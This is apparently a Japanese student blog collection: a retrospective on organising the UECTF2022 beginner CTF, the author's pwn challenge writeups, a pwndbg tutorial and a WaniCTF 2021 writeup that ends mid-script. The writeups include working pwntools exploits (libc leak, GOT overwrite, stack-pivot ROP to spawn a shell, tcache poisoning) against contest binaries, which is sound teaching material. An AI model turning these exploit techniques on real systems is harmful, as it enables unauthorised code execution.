UECTF2022 開催記
これはUEC Advent Calendar 2022の3日目の記事です。
昨日はsuzukeさんの「Markdownでスライドを作って公開する」でした。
調布祭の期間中にUECTF2022という初心者向けCTFを開催しました。UECTFとしては初めてのCTFの開催でいろいろ大変だったので、知見や反省点などをまとめました。
11/18 20:00(JST)~11/20 20:00(JST)で初心者向けCTF #UECTF2022 を開催します!
— UECTF (@uec_ctf) November 17, 2022
オンライン開催で何時からでも、どなたでも参加可能です。
ぜひご参加ください!
ルール: https://t.co/R5EXp9FAOM
参加登録: https://t.co/ny28E068u1#UECTF #UECTF2022 #調布祭 pic.twitter.com/YDu4Rf2FQ5
UECTFについて
UECTFはUECのゆるCTF集団です。主にDiscordで活動していて、たまにCTFに参加しています。Student Hubにあるので電通大生なら誰でも入れます。
準備
調布祭でCTF開催しようという話は6月下旬にありましたが、本格的に動き出したのは10月下旬でした。この時点でほぼ準備が出来ておらず、本当に開催できるのかかなり怪しい状況でした。結局、フェーズシステムの導入や3日間の開催が決まったのは調布祭の前日でした。また、告知用のTwitterアカウントやDiscordサーバ、スコアサーバの準備などは2日前ぐらいから行われました。作問はほとんど出来ていましたが、レビューが間に合っていない状態でした。そのため、開催の告知は当日になってしまいました。
フェーズシステム
今回は段階的に問題を追加するフェーズシステムを導入しました。これを導入した理由は主に2つあります。1つは電通大生が参加しやすくするためです。調布祭の他のイベントに参加していても、取り組みやすいように配慮しました。もう1つは作問とレビューが間に合ってなかったからです。
問題の追加は賛否が分かれるところですが、今回はそれぞれのフェーズで出題する問題数やジャンルに偏りがないようにしたのはよかったかもしれません。ただ、運営側の仕事はかなり増えた気がします。問題の公開は手動で行っていたため朝8時に起きる必要がありました。また、PwnやWebの問題は公開の時間にDockerコンテナを立てる必要があり、1日目の深夜に自動化スクリプトを書くことになりました。
作問
作問では主にDiscordとGithubを使いました。Discordではジャンルごとにチャンネルを立てて案出しや議論を行いました。Githubでは問題ごとにブランチ切ってPR→レビュー→マージという流れで問題を管理していました。一部の問題は不備があったり完成していなかったりしたので、作問とレビューは2日目の深夜まで行われました。
私はPwn3問を作問しました。Writeupはこちら
最終的なsolve数をみると、Pwnは他のジャンルよりも少し難しかったかもしれません。ちょっと申し訳なかったのでWriteupを丁寧に書きました。CryptoとReversingとMiscも1問ずつ作っていましたが、微妙だったので没にしました。
guess
easyにしたのにあんまり解かれないな…と思っていたら、ローカルで成功するけどリモートでは動かいないという旨の問い合わせがいくつかありました。入力末尾の改行文字でうまくいってないみたいだったので、ヒントとともに注意を促しました。ヒントはいらなかったかもしれませんが、初心者向けCTFなので出しました。
rot13
ヒープ問を出すのは気が引けたので、ヒープアルゴリズムを知らなくても解ける問題になりました。初心者向けとしてはwin関数はあったほうがよかったかもしれない。
buffer_overflow_2
原案はもう少し簡単な問題でしたが、開催期間がいきなり3日になったのと解法が一部rot13と被ってしまったため、無理やり難しくしました。
開催中
私は主に質問対応と問題の公開を担当しました。
1日目
Pwnの問題でトラブルが発生しました。コンテナが起動しておらず、問題に接続できない状態でした。すぐには対応できなかったため2日目の朝の出題に変更しました。
2日目
問題公開の時間に自動で起動するはずだったコンテナが起動していませんでした。docker-compose.ymlがなくて失敗したようで、結局手動でdocker run
しました。あとなぜかPwnのrot13が予定の10時間前に起動してました。また、UECTFのメンバーで集まって調布祭を見て回ったりしました。
3日目
小さなトラブルがいくつかありました。MiscのWHREAMIでは重要な部分が問題文から抜けていたため、正答するのが難しい状態でした。問題文を訂正するか迷いましたが、元の問題文で解けている人がいたためヒントとしてその抜けていた部分を公開しました。
結果
1点以上獲得した方は105名いました。また、全完された方は2名いました。
反省
他にもたくさんありますが…
圧倒的準備不足
実質作業期間は約3週間ぐらいで、明らかに準備不足でした。レビューが不十分な問題が多く、スコアサーバなども含めてほぼぶっつけ本番だったため、大きな障害が起きなかったのは奇跡だったように思えます。もっと余裕を持って入念に準備を行い、万全の状態で開催すべきでした。
告知
準備が遅れていたため、告知が開催当日になってしまいました。開催の1週間前ぐらいにスコアサーバを公開し、告知を行うべきでした。また、参加者のほとんどは外部の方で、電通大生にうまく伝わってなかったように思えます。もう少し電通大生にもアプローチすべきでした。
画像フラグ
これはアンケート等で多くの方からご指摘いただきました。確かに誤答の多くは画像フラグの問題でした。画像フラグの問題はなるべくシンプルなフラグにすべきでした。
終わりに
CTF開催に協力してくださった方、CTFに参加してくださった方に感謝申し上げます。あとWriteupとても嬉しいです。ありがとうございます。
次に開催するとしたら、もっとクオリティを上げたいですね。UECTF自体もまだまだ発展途上なので、積極的にCTFに参加して力をつけていきたいです。
UECTF2022 作問者Writeup
UECTF2022で出題した問題について解説します。少し丁寧に書きました。
guess (19 Solves)
ソースコード(一部)
int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char buf[32]; char pw[32]; secret(pw); printf("Guess my password\n> "); scanf("%32s", buf); if(strncmp(pw, buf, sizeof(pw)) == 0) { puts("Correct!!!"); win(); } else { puts("Wrong."); } return 0; }
パスワードを当てることでフラグが表示されますが、普通に当てるのはほぼ不可能です。
入力の部分に注目します。
scanf("%32s", buf);
buf[32]
に対して32文字読み込んでいます。32文字入力するとどうなるでしょうか。
strncmp
にブレークポイントを張って見てみます。
pwndbg> b *main+159 Breakpoint 1 at 0x13a9 pwndbg> r Guess my password > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... ► 0x5555555553a9 <main+159> call strncmp@plt <strncmp@plt> s1: 0x7fffffffde90 ◂— 0x7361705f656b6100 s2: 0x7fffffffde70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' n: 0x20 ... pwndbg> x/s 0x7fffffffde90 0x7fffffffde90: "" pwndbg> x/s 0x7fffffffde90+1 0x7fffffffde91: "ake_password"
第一引数であるpw
の最初の1バイトが\0
で上書きされてしまっていることがわかります。
scanf
は入力の末尾に\0
を書き込みます。buf
に32文字入力することでbuf
の範囲外に\0
を書き込んでしまいます。buf
の下にはpw
があるためpw
の最初の1バイトが\0
に上書きされます。
pwndbg> x/6gx 0x7fffffffde70 0x7fffffffde70: 0x6161616161616161 0x6161616161616161 <- buf 0x7fffffffde80: 0x6161616161616161 0x6161616161616161 0x7fffffffde90: 0x7361705f656b6100 0x00000064726f7773 <- pw
strncmp
は\0
以降の比較は行わないため、以下のような入力でstrncmp
は0を返しフラグが表示されます。32文字ちょうど入力する必要があるため改行文字を無効にしています。
$ echo -en '\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | nc uectf.uec.tokyo 9001
flag: UECTF{Wow_are_you_Esper?}
rot13 (6 Solves)
Partial RELROでPIE無効です。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
以下の部分が脆弱です。
int index = get_num("index: "); if(index >= MAX_NUM || list[index] == NULL) { puts("Invalid!"); exit(EXIT_FAILURE); }
すべての操作でindex
を負にでき、list
の範囲外にアクセスすることができます。
libc leak
この問題ではフラグを入手するためにライブラリの関数を使う必要があります。ライブラリの関数を使うためには、ライブラリがどこのアドレスにマッピングされているのか知る必要があります。ここではGOT(Global Offset Table)を用いてライブラリがマッピングされているアドレスを特定します。
GOTには以下のように1度呼び出された後にアドレスが書き込まれます。
pwndbg> got GOT protection: Partial RELRO | GOT functions: 11 [0x404018] free@GLIBC_2.2.5 -> 0x7ffff7e666d0 (free) ◂— endbr64 [0x404020] puts@GLIBC_2.2.5 -> 0x7ffff7e50420 (puts) ◂— endbr64 [0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401050 ◂— endbr64 [0x404030] printf@GLIBC_2.2.5 -> 0x7ffff7e2dc90 (printf) ◂— endbr64 [0x404038] strrchr@GLIBC_2.2.5 -> 0x401070 ◂— endbr64 [0x404040] read@GLIBC_2.2.5 -> 0x401080 ◂— endbr64 [0x404048] calloc@GLIBC_2.2.5 -> 0x7ffff7e67b10 (calloc) ◂— endbr64 [0x404050] malloc@GLIBC_2.2.5 -> 0x7ffff7e660e0 (malloc) ◂— endbr64 [0x404058] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e50ce0 (setvbuf) ◂— endbr64 [0x404060] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e2f0b0 (__isoc99_scanf) ◂— endbr64 [0x404068] exit@GLIBC_2.2.5 -> 0x4010d0 ◂— endbr64
ライブラリ内の関数のオフセットは一定のため、このうちの1つでもアドレスがわかると他の関数のアドレスもわかります。
さて、どのようにアドレスを特定するかですが、前述の脆弱性を使います。list
の範囲外を調べてみるとlist[-71]
にアドレスがあることがわかります。これはlist[-6]
のアドレスです。したがって、index=-71
としてeditで書き込みを行うとlist[-6]
に書き込まれます。
pwndbg> r name: a Hello a! 1. create 2. run 3. show 4. edit 5. exit > 4 index: -71 data: aaaaaaaa > ^C ... pwndbg> set $list=(char **)0x4052d0 pwndbg> p $list[-6] $1 = 0x6161616161616161 <error: Cannot access memory at address 0x6161616161616161>
index=-71
としてeditでGOTのアドレスを書き込み、index=-6
としてshowするとライブラリのアドレスが判明します。pwntoolsを使って書くと以下のようになります。
from pwn import * e = ELF('./chall') libc = ELF('./libc-2.31.so') ... edit(-71, p64(e.got['puts'])) show(-6) libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.symbols['puts'] print(hex(libc.address))
GOT Overwrite
ライブラリのアドレスを特定できたところでどのようにフラグを入手するかですが、system("/bin/sh")
でシェルを起動するのが手っ取り早いです。シェルを起動するためにGOT Overwriteという手法を使います。
このプログラムはPartial RELROで、GOTに書き込むことができます。GOTを書き換えることでプログラム内でその関数を呼んだ際に別の処理を実行させることができます。これと前述の脆弱性を使うことでsystem("/bin/sh")
を実行できます。
先ほどlibc leakの際にlist[-6]
にGOTのアドレスを書き込みました。この状態でindex=-6
としてeditすることでGOTに任意の値を書き込むことができます。どの関数のGOTを書き換えるのがよいでしょうか。
showに注目します。
void show() { int index = get_num("index: "); if(index >= MAX_NUM) { puts("Invalid!"); exit(EXIT_FAILURE); } puts(list[index]); }
puts
のGOTをsystem
に書き換えて、createで"/bin/sh"を作りshowすることでsystem("/bin/sh")
を実行できます。
最終的なsolverは以下のようになります。(こんな感じでtcache_perthread_struct
構造体のポインタを使うことを想定していたのですが、nameとcreateのmalloc
のサイズを同じにしてしまったため、ほとんどの人がnameの領域を再利用して解いてましたね…)
from pwn import * sendlineafter = lambda p, x, y: p.sendlineafter(x, y) sendafter = lambda p, x, y: p.sendafter(x, y) sendline = lambda p, x: p.sendline(x) send = lambda p, x: p.send(x) e = ELF('./chall') libc = ELF('./libc-2.31.so') p = remote('uectf.uec.tokyo', 9003) def create(i, data): sendlineafter(p, b'> ', b'1') sendlineafter(p, b': ', str(i).encode()) sendlineafter(p, b': ', data) def show(i): sendlineafter(p, b'> ', b'3') sendlineafter(p, b': ', str(i).encode()) def edit(i, data): sendlineafter(p, b'> ', b'4') sendlineafter(p, b': ', str(i).encode()) sendlineafter(p, b': ', data) sendlineafter(p, b': ', b'A') # libc leak edit(-71, p64(e.got['puts'])) show(-6) libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.symbols['puts'] print(hex(libc.address)) # GOT Overwrite edit(-6, p64(libc.symbols['system'])) create(0, b'/bin/sh') show(0) p.interactive()
flag: UECTF{ROT13_stands_for_ROTate_by_13_places}
buffer_overflow_2 (6 Solves)
#include <stdio.h> #include <unistd.h> void vuln() { char buf[0x60]; printf("> "); read(STDIN_FILENO, buf, 0x80); } int main() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); vuln(); puts("Bye!"); return 0; }
バッファオーバーフローがあります。
フラグを入手するために今回もrot13と同様にシェルの起動を目指します。
ROP (Return Oriented Programming)
バッファオーバーフローがある際はROPという手法が有効です。これはret命令を利用して任意の処理を連続して実行させる手法です。
ROPでsystem("/bin/sh")
でシェル起動といきたいところですが、このプログラムはstatically linkedです。
$ file ./chall ./chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=c2b6d36ed7073f9a99218aa4d5b221ca167701e0, for GNU/Linux 3.2.0, not stripped
このような場合はsyscall命令を利用してexecve("/bin/sh", NULL, NULL)
を実行するのがいいです。これを実行するにはRAX, RDI, RSI, RDXの4つのレジスタを設定する必要があります。しかし、今回のバッファオーバーフローは0x20バイトで、リターンアドレスから考えると0x18バイトしか猶予がなく、普通には実行できません。
Stack Pivot
ここではStack Pivotという手法を紹介します。
別の領域に書き込みを行い、そこでROPする方法を考えます。vuln
関数の最後の方に注目します。
0x0000000000401d93 <+46>: call 0x450bf0 <read> 0x0000000000401d98 <+51>: nop 0x0000000000401d99 <+52>: leave 0x0000000000401d9a <+53>: ret
ret命令にブレークポイントを張ってレジスタの値を見てみます。
pwndbg> b *vuln+53 Breakpoint 1 at 0x401d9a pwndbg> r > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... RDX 0x80 RDI 0x0 RSI 0x7fffffffddc0 ... *RBP 0x6161616161616161 ('aaaaaaaa') RSP 0x7fffffffde28 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa' ...
0x20バイトのバッファオーバーフローによって、RSIに書き込み可能領域を設定し、read
を呼び出しているvuln+46
に戻ることで、指定した領域に0x80バイトの書き込みを行うことができます。また、vuln+52
にあるleave命令によって書き換えたsaved rbpの値+8がRSPの値となります。このようにRSPに任意の値を設定し、スタックを切り替える手法をStack Pivotといいます。
バッファオーバーフローによってsaved rbpを指定した領域のアドレスに書き換え、read
でROP chainをその領域に書き込むことでROPを実行できます。
solverは以下のようになります。
from pwn import * p = remote('uectf.uec.tokyo', 9002) # p = process('./chall') e = ELF('./chall') pop_rdi = 0x4018c2 pop_rdx = 0x4017cf pop_rax = 0x4516a7 pop_rsi = 0x40f20e syscall = 0x4012d3 writable = e.bss() + 0x100 payload = b'A' * 0x60 payload += p64(writable) # saved rbp payload += p64(pop_rsi) # return address payload += p64(writable) # RSI = writable payload += p64(e.symbols['vuln']+46) p.sendafter(b'> ', payload) payload = b'/bin/sh\0' # execve("/bin/sh", NULL, NULL) payload += p64(pop_rax) payload += p64(59) payload += p64(pop_rdi) payload += p64(writable) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) payload += p64(syscall) p.sendline(payload) p.interactive()
flag: UECTF{B3l13v3_0ur_Fu7ur3}
pwndbgを使ってみた
これはUEC Advent Calendar 2021の15日目の記事です。
前日はにゃんさんの記事でした。
はじめに
GDBのプラグインといえばpeda、pwndbg、gefあたりが有名です。私は普段peda+Pwngdbを使っていますが、最近のつよつよpwnerがよくpwndbgを使ってる気がしたので試してみることにしました。
環境
推奨環境ではないですが、glibc 2.33を使いたかったのでUbuntu21.04にしました。
$ cat /etc/issue
Ubuntu 21.04 \n \l
$ gcc --version
gcc (Ubuntu 10.3.0-1ubuntu1) 10.3.0
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
$ gdb --version
GNU gdb (Ubuntu 10.1-2ubuntu2) 10.1.90.20210411-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.33-0ubuntu5) release release version 2.33.
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 10.2.1 20210320.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
インストール
$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg
$ ./setup.sh
サンプルプログラム
#include <stdlib.h> int main(){ char *p[0x200]; int i = 0; for(int s=0x98; s>=0x18; s-=0x10){ for(int j=0; j<14; j++) p[i++] = malloc(s); } while(i > 0) free(p[--i]); return 0; }
$ gcc sample.c
$ gdb -q ./a.out
コマンド
よく使いそうなコマンドを挙げていきます。
help
使い方が表示されます。
pwndbg> help
コマンド名を与えるとそのコマンドのドキュメントが表示されます。
pwndbg> help heap
Iteratively print chunks on a heap, default to the current thread's active heap.
pwndbg> help bins
Print the contents of all an arena's bins and a thread's tcache, default to the current thread's arena and tcache.
pwndbg> help tele
Recursively dereferences pointers starting at the specified address
($sp by default)
apropos
与えられた単語に関連するコマンドを検索します。
pwndbg> apropos heap
heap -- Iteratively print chunks on a heap, default to the current thread's active heap.
set heap-dereference-limit -- Set number of bins to dereference
set memory-heap-color -- Set color for heap memory
show heap-dereference-limit -- number of bins to dereference:
show memory-heap-color -- color for heap memory:
vis_heap_chunks -- Visualize chunks on a heap, default to the current arena's active heap.
disas/disass/disassemble
ディスアセンブルを表示します。disas
はpwntoolsを入れたら使えなくなりました。
pwndbg> disass main
nearpc
ディスアセンブルを一部だけ表示します。
pwndbg> nearpc
tele/telescope
メモリをいい感じに表示してくれます。アドレスと表示する数を指定できます。
pwndbg> tele
elfheader
セクションのアドレスが表示されます。下の例ではPIE有効なのでオフセットになってます。
pwndbg> elfheader
0x318 - 0x334 .interp
0x338 - 0x368 .note.gnu.property
0x368 - 0x38c .note.gnu.build-id
0x38c - 0x3ac .note.ABI-tag
0x3b0 - 0x3d4 .gnu.hash
0x3d8 - 0x4b0 .dynsym
0x4b0 - 0x554 .dynstr
0x554 - 0x566 .gnu.version
0x568 - 0x598 .gnu.version_r
0x598 - 0x658 .rela.dyn
0x658 - 0x6a0 .rela.plt
0x1000 - 0x101b .init
0x1020 - 0x1060 .plt
0x1060 - 0x1070 .plt.got
0x1070 - 0x10a0 .plt.sec
0x10a0 - 0x12e5 .text
0x12e8 - 0x12f5 .fini
0x2000 - 0x2004 .rodata
0x2004 - 0x2048 .eh_frame_hdr
0x2048 - 0x2158 .eh_frame
0x3da8 - 0x3db0 .init_array
0x3db0 - 0x3db8 .fini_array
0x3db8 - 0x3fa8 .dynamic
0x3fa8 - 0x4000 .got
0x4000 - 0x4010 .data
0x4010 - 0x4018 .bss
got
GOTが表示されます。pwntoolsが入ってないと使えないようです。
pwndbg> got
GOT protection: Full RELRO | GOT functions: 3
[0x55a3cb9f2fc0] free@GLIBC_2.2.5 -> 0x7fda9a390740 (free) ◂— endbr64
[0x55a3cb9f2fc8] __stack_chk_fail@GLIBC_2.4 -> 0x7fda9a4213b0 (__stack_chk_fail) ◂— endbr64
[0x55a3cb9f2fd0] malloc@GLIBC_2.2.5 -> 0x7fda9a390130 (malloc) ◂— endbr64
vmmap
メモリマップが表示されます。
pwndbg> vmmap
retaddr
リターンアドレスが表示されます。
pwndbg> retaddr
0x7ffcc5200298 —▸ 0x7f392feca565 (__libc_start_main+213) ◂— mov edi, eax
0x7ffcc5200368 —▸ 0x557757f110ce (_start+46) ◂— hlt
heap
チャンクが表示されます。
pwndbg> heap
arena
arenaの情報が表示されます。
pwndbg> arena
{
mutex = 0,
flags = 0,
have_fastchunks = 1,
fastbinsY = {0x557758fce010, 0x557758fcdd70, 0x557758fcd9f0, 0x557758fcd590, 0x557758fcd050, 0x557758fcca30, 0x557758fcc330, 0x0, 0x0, 0x0},
top = 0x557758fce1d0,
last_remainder = 0x0,
bins = {0x557758fcb290, 0x557758fcbb50, 0x7f3930082c10 <main_arena+112>,
...},
binmap = {0, 0, 0, 0},
next = 0x7f3930082ba0 <main_arena>,
next_free = 0x0,
attached_threads = 1,
system_mem = 135168,
max_system_mem = 135168
}
bins
binsが表示されます。
pwndbg> bins
特定のbinsだけ表示することもできます。
pwndbg> fastbins
fastbins
0x20: 0x561a1f410010 —▸ 0x561a1f410030 —▸ 0x561a1f410050 —▸ 0x561a1f410070 —▸ 0x561a1f410090 ◂— ...
0x30: 0x561a1f40fd70 —▸ 0x561a1f40fda0 —▸ 0x561a1f40fdd0 —▸ 0x561a1f40fe00 —▸ 0x561a1f40fe30 ◂— ...
0x40: 0x561a1f40f9f0 —▸ 0x561a1f40fa30 —▸ 0x561a1f40fa70 —▸ 0x561a1f40fab0 —▸ 0x561a1f40faf0 ◂— ...
0x50: 0x561a1f40f590 —▸ 0x561a1f40f5e0 —▸ 0x561a1f40f630 —▸ 0x561a1f40f680 —▸ 0x561a1f40f6d0 ◂— ...
0x60: 0x561a1f40f050 —▸ 0x561a1f40f0b0 —▸ 0x561a1f40f110 —▸ 0x561a1f40f170 —▸ 0x561a1f40f1d0 ◂— ...
0x70: 0x561a1f40ea30 —▸ 0x561a1f40eaa0 —▸ 0x561a1f40eb10 —▸ 0x561a1f40eb80 —▸ 0x561a1f40ebf0 ◂— ...
0x80: 0x561a1f40e330 —▸ 0x561a1f40e3b0 —▸ 0x561a1f40e430 —▸ 0x561a1f40e4b0 —▸ 0x561a1f40e530 ◂— ...
pwndbg> tcachebins
tcachebins
0x20 [ 7]: 0x561a1f410100 —▸ 0x561a1f410120 —▸ 0x561a1f410140 —▸ 0x561a1f410160 —▸ 0x561a1f410180 —▸ 0x561a1f4101a0 —▸ 0x561a1f4101c0 ◂— 0x0
0x30 [ 7]: 0x561a1f40fed0 —▸ 0x561a1f40ff00 —▸ 0x561a1f40ff30 —▸ 0x561a1f40ff60 —▸ 0x561a1f40ff90 —▸ 0x561a1f40ffc0 —▸ 0x561a1f40fff0 ◂— 0x0
0x40 [ 7]: 0x561a1f40fbc0 —▸ 0x561a1f40fc00 —▸ 0x561a1f40fc40 —▸ 0x561a1f40fc80 —▸ 0x561a1f40fcc0 —▸ 0x561a1f40fd00 —▸ 0x561a1f40fd40 ◂— 0x0
0x50 [ 7]: 0x561a1f40f7d0 —▸ 0x561a1f40f820 —▸ 0x561a1f40f870 —▸ 0x561a1f40f8c0 —▸ 0x561a1f40f910 —▸ 0x561a1f40f960 —▸ 0x561a1f40f9b0 ◂— 0x0
0x60 [ 7]: 0x561a1f40f300 —▸ 0x561a1f40f360 —▸ 0x561a1f40f3c0 —▸ 0x561a1f40f420 —▸ 0x561a1f40f480 —▸ 0x561a1f40f4e0 —▸ 0x561a1f40f540 ◂— 0x0
0x70 [ 7]: 0x561a1f40ed50 —▸ 0x561a1f40edc0 —▸ 0x561a1f40ee30 —▸ 0x561a1f40eea0 —▸ 0x561a1f40ef10 —▸ 0x561a1f40ef80 —▸ 0x561a1f40eff0 ◂— 0x0
0x80 [ 7]: 0x561a1f40e6c0 —▸ 0x561a1f40e740 —▸ 0x561a1f40e7c0 —▸ 0x561a1f40e840 —▸ 0x561a1f40e8c0 —▸ 0x561a1f40e940 —▸ 0x561a1f40e9c0 ◂— 0x0
0x90 [ 7]: 0x561a1f40df50 —▸ 0x561a1f40dfe0 —▸ 0x561a1f40e070 —▸ 0x561a1f40e100 —▸ 0x561a1f40e190 —▸ 0x561a1f40e220 —▸ 0x561a1f40e2b0 ◂— 0x0
0xa0 [ 7]: 0x561a1f40d700 —▸ 0x561a1f40d7a0 —▸ 0x561a1f40d840 —▸ 0x561a1f40d8e0 —▸ 0x561a1f40d980 —▸ 0x561a1f40da20 —▸ 0x561a1f40dac0 ◂— 0x0
pwndbg> unsortedbin
unsortedbin
all: 0x561a1f40d290 —▸ 0x561a1f40db50 —▸ 0x7fc6cc86cc00 (main_arena+96) ◂— 0x561a1f40d290
pwndbg> largebins
largebins
empty
pwndbg> smallbins
smallbins
empty
glibc 2.33にも対応しているようです。
malloc_chunk
チャンクの情報が表示されます。
pwndbg> malloc_chunk 0x557758fcbb50
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x557758fcbb50
Size: 0x3f1
fd: 0x7f3930082c00
bk: 0x557758fcb290
tcache
tcacheの情報が表示されます。
pwndbg> tcache
{
counts = {7, 7, 7, 7, 7, 7, 7, 7, 7, 0 <repeats 55 times>},
entries = {0x561a1f410100, 0x561a1f40fed0, 0x561a1f40fbc0, 0x561a1f40f7d0, 0x561a1f40f300, 0x561a1f40ed50, 0x561a1f40e6c0, 0x561a1f40df50, 0x561a1f40d700, 0x0 <repeats 55 times>}
}
top_chunk
topチャンクが表示されます。
pwndbg> top_chunk
Top chunk
Addr: 0x557758fce1d0
Size: 0x1de31
try_free
freeしたときのチェックをしてくれます。
pwndbg> try_free 0x557758fce100
General checks
Tcache checks
Will do checks for tcache double-free (memory_tcache_double_free)
----------
Errors found!
vis_heap_chunks
チャンクをいい感じに表示してくれます。
pwndbg> vis_heap_chunks
おわりに
もうpedaは捨てました。
明日はExitさんです。
WaniCTF 2021 Writeup
体調が優れずPwnしか取り組めませんでした😭
nc
$ nc nc.pwn.wanictf.org 9001 welcome to WaniCTF 2021!!! ls chall flag.txt redir.sh cat flag.txt FLAG{the-1st-step-to-pwn-is-netcatting}
flag: FLAG{the-1st-step-to-pwn-is-netcatting}
BOF
オーバーフローさせるとokが書き換えられてフラグが表示されます。
$ nc bof.pwn.wanictf.org 9002 ふっかつのじゅもんを いれてください AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA よくぞもどられた! FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
flag: FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
got rewriter
printfのGOTをwinに書き換えました。
$ nc got-rewriter.pwn.wanictf.org 9003 Welcome to GOT rewriter!!! win = 0x400807 Please input target address (0x600000-0x700000): 0x601038 Your input address is 0x601038. Please input rewrite value: 0x400807 Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
flag: FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
rop-machine-returns
ROPでsystem("/bin/sh")を実行しました。
$ nc rop-machine-returns.pwn.wanictf.org 9004 welcome to rop-machine-returns!!! "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "system" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{please-learn-how-to-use-rop-machine}
flag: FLAG{please-learn-how-to-use-rop-machine}
baby_heap
まず、2回mallocして以下の状態にします。
[0] : Allocated Chunk Chunk at>0x56336b0be2c0 Data : [1] : Allocated Chunk Chunk at>0x56336b0be2e0 Data : [2] : Not Allocated [3] : Not Allocated [4] : Not Allocated
次に[0]、[1]の順番でfreeして以下の状態にします。
[0] : Free Chunk Chunk at>0x56336b0be2c0 fd : 0x0 [1] : Free Chunk Chunk at>0x56336b0be2e0 fd : 0x56336b0be2c0 [2] : Not Allocated [3] : Not Allocated [4] : Not Allocated
次に[1]のfdをリターンアドレスがあるアドレスに書き換えます。
[0] : Free Chunk Chunk at>0x56336b0be2c0 fd : 0x0 [1] : Free Chunk Chunk at>0x56336b0be2e0 fd : 0x7ffd4ccec1c8 [2] : Not Allocated [3] : Not Allocated [4] : Not Allocated
次に2回mallocしてリターンアドレスがある領域を確保します。
[0] : Free Chunk Chunk at>0x56336b0be2c0 fd : 0x0 [1] : Allocated Chunk Chunk at>0x56336b0be2e0 Data : [2] : Allocated Chunk Chunk at>0x56336b0be2e0 Data : [3] : Allocated Chunk Chunk at>0x7ffd4ccec1c8 Data : [4] : Not Allocated
次に[3]にwinのアドレスを書き込みます。
[0] : Free Chunk Chunk at>0x56336b0be2c0 fd : 0x0 [1] : Allocated Chunk Chunk at>0x56336b0be2e0 Data : [2] : Allocated Chunk Chunk at>0x56336b0be2e0 Data : [3] : Allocated Chunk Chunk at>0x7ffd4ccec1c8 Data : B�k3V [4] : Not Allocated
最後にexitするとwinが実行されます。
flag: FLAG{This_is_Hint_for_the_diva}
rop-machine-final
- gets(buf)でbufに"./flag.txt"という文字列を書き込みます。
- open(buf, O_RDONLY)で./flag.txtを開きます。
- read(3, buf, 0x50)で./flag.txtの内容をbufに書き込みます。
- write(1, buf, 0x50)でbufの内容を出力します。
import pwn import sys import os def read_until(s): ret = b"" while ret.find(s) == -1: ret += io.read(1) return ret # [menu] # 0x01. append hex value # 0x02. append "pop rdi; ret" addr # 0x03. append "pop rsi; ret" addr # 0x04. append "pop rdx; ret" addr # 0x05. append "gets" addr # 0x06. append "open" addr # 0x07. append "read" addr # 0x08. append "write" addr # 0x0a. show menu (this one) # 0x0b. show rop_arena # 0x00. execute rop def cmd_append_hex(val): io.send(b"1\n") ret = read_until(b": ") s = b"%x\n" % (val) io.send(s) ret = read_until(b">") print(ret.decode()) def cmd_append_pop_rdi(): io.send(b"2\n") ret = read_until(b">") print(ret.decode()) def cmd_append_pop_rsi(): io.send(b"3\n") ret = read_until(b">") print(ret.decode()) def cmd_append_pop_rdx(): io.send(b"4\n") ret = read_until(b">") print(ret.decode()) def cmd_append_gets(): io.send(b"5\n") ret = read_until(b">") print(ret.decode()) def cmd_append_open(): io.send(b"6\n") ret = read_until(b">") print(ret.decode()) def cmd_append_read(): io.send(b"7\n") ret = read_until(b">") print(ret.decode()) def cmd_append_write(): io.send(b"8\n") ret = read_until(b">") print(ret.decode()) def 